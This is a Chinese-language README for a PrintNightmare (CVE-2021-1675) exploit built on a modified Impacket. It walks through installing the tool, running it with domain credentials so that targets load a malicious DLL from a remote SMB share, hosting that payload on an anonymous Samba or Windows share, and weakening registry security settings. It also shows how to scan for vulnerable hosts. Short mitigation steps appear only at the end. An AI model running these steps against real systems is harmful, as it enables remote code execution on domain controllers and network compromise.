Impacket 实现的 PrintNightmare PoC,原作者为 Zhiniang Peng (@edwardzpeng) 和 Xuefeng Li (@lxf02942370)
已在完全修补的 2019 域控制器上测试
远程或本地执行恶意 DLL

在运行漏洞利用之前,你需要安装我的 Impacket 版本,之后就一切就绪了
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675 实现。
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share DLL 路径。示例 '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help 显示此帮助信息并退出
authentication:
-hashes LMHASH:NTHASH
NTLM 哈希,格式为 LMHASH:NTHASH
connection:
-target-ip ip address
目标机器的 IP 地址。如果省略,则使用 target 参数中指定的内容。当 target 是 NetBIOS 名称且无法解析时有用
-port [destination port]
连接 SMB 服务器的目标端口
示例;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
托管有效载荷最简单的方法是使用 samba 并修改 /etc/samba/smb.conf 以允许匿名访问
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
在 Windows 上也可以实现
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #这将覆盖现有的 NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# 重启
我们可以使用 Impacket 中的 rpcdump.py 扫描潜在的易受攻击主机,如果返回值,则可能存在漏洞
rpcdump.py @192.168.1.10 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol
禁用 Spooler 服务
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
或者卸载打印服务
Uninstall-WindowsFeature Print-Services